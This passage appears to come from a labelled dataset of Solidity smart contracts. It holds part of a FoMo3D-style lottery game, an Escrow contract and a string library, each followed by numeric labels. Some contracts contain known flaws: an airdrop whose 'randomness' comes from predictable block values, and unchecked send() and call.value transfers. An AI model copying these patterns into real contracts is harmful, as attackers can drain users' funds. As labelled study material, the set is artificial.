} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
round_[_rID].pot = _pot.add(_p3d);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = _now.sub(((_keys) / (1000000000000000000)).mul(rndInc_));
else
_newTime = round_[_rID].end.sub(((_keys) / (1000000000000000000)).mul(rndInc_));
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d;
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,795 |
contract Escrow {
address seller;
address buyer;
address arbiter;
function Escrow() {
buyer = msg.sender;
seller = 0x1db3439a222c519ab44bb1144fc28167b4fa6ee6;
arbiter = 0xd8da6bf26964af9d7eed9e03e53415d37aa96045;
}
function finalize() {
if (msg.sender != buyer && msg.sender != arbiter) throw;
seller.send(this.balance);
}
function refund() {
if (msg.sender != seller && msg.sender != arbiter) throw;
buyer.send(this.balance);
}
} | 1 | 4,240 |
pragma solidity ^0.4.25;
pragma experimental ABIEncoderV2;
library Strings {
function concat(string _base, string _value)
internal
pure
returns (string) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
assert(_valueBytes.length > 0);
string memory _tmpValue = new string(_baseBytes.length +
_valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for(i = 0; i < _baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for(i = 0; i<_valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
function indexOf(string _base, string _value)
internal
pure
returns (int) {
return _indexOf(_base, _value, 0);
}
function _indexOf(string _base, string _value, uint _offset)
internal
pure
returns (int) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
assert(_valueBytes.length == 1);
for(uint i = _offset; i < _baseBytes.length; i++) {
if (_baseBytes[i] == _valueBytes[0]) {
return int(i);
}
}
return -1;
}
function length(string _base)
internal
pure
returns (uint) {
bytes memory _baseBytes = bytes(_base);
return _baseBytes.length;
}
function substring(string _base, int _length)
internal
pure
returns (string) {
return _substring(_base, _length, 0);
}
function _substring(string _base, int _length, int _offset)
internal
pure
returns (string) {
bytes memory _baseBytes = bytes(_base);
assert(uint(_offset+_length) <= _baseBytes.length);
string memory _tmp = new string(uint(_length));
bytes memory _tmpBytes = bytes(_tmp);
uint j = 0;
for(uint i = uint(_offset); i < uint(_offset+_length); i++) {
_tmpBytes[j++] = _baseBytes[i];
}
return string(_tmpBytes);
}
function split(string _base, string _value)
internal
returns (string[] storage splitArr) {
bytes memory _baseBytes = bytes(_base);
uint _offset = 0;
while(_offset < _baseBytes.length-1) {
int _limit = _indexOf(_base, _value, _offset);
if (_limit == -1) {
_limit = int(_baseBytes.length);
}
string memory _tmp = new string(uint(_limit)-_offset);
bytes memory _tmpBytes = bytes(_tmp);
uint j = 0;
for(uint i = _offset; i < uint(_limit); i++) {
_tmpBytes[j++] = _baseBytes[i];
}
_offset = uint(_limit) + 1;
splitArr.push(string(_tmpBytes));
}
return splitArr;
}
function compareTo(string _base, string _value)
internal
pure
returns (bool) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
if (_baseBytes.length != _valueBytes.length) {
return false;
}
for(uint i = 0; i < _baseBytes.length; i++) {
if (_baseBytes[i] != _valueBytes[i]) {
return false;
}
}
return true;
}
function compareToIgnoreCase(string _base, string _value)
internal
pure
returns (bool) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
if (_baseBytes.length != _valueBytes.length) {
return false;
}
for(uint i = 0; i < _baseBytes.length; i++) {
if (_baseBytes[i] != _valueBytes[i] &&
_upper(_baseBytes[i]) != _upper(_valueBytes[i])) {
return false;
}
}
return true;
}
function upper(string _base)
internal
pure
returns (string) {
bytes memory _baseBytes = bytes(_base);
for (uint i = 0; i < _baseBytes.length; i++) {
_baseBytes[i] = _upper(_baseBytes[i]);
}
return string(_baseBytes);
}
function lower(string _base)
internal
pure
returns (string) {
bytes memory _baseBytes = bytes(_base);
for (uint i = 0; i < _baseBytes.length; i++) {
_baseBytes[i] = _lower(_baseBytes[i]);
}
return string(_baseBytes);
}
function _upper(bytes1 _b1)
private
pure
returns (bytes1) {
if (_b1 >= 0x61 && _b1 <= 0x7A) {
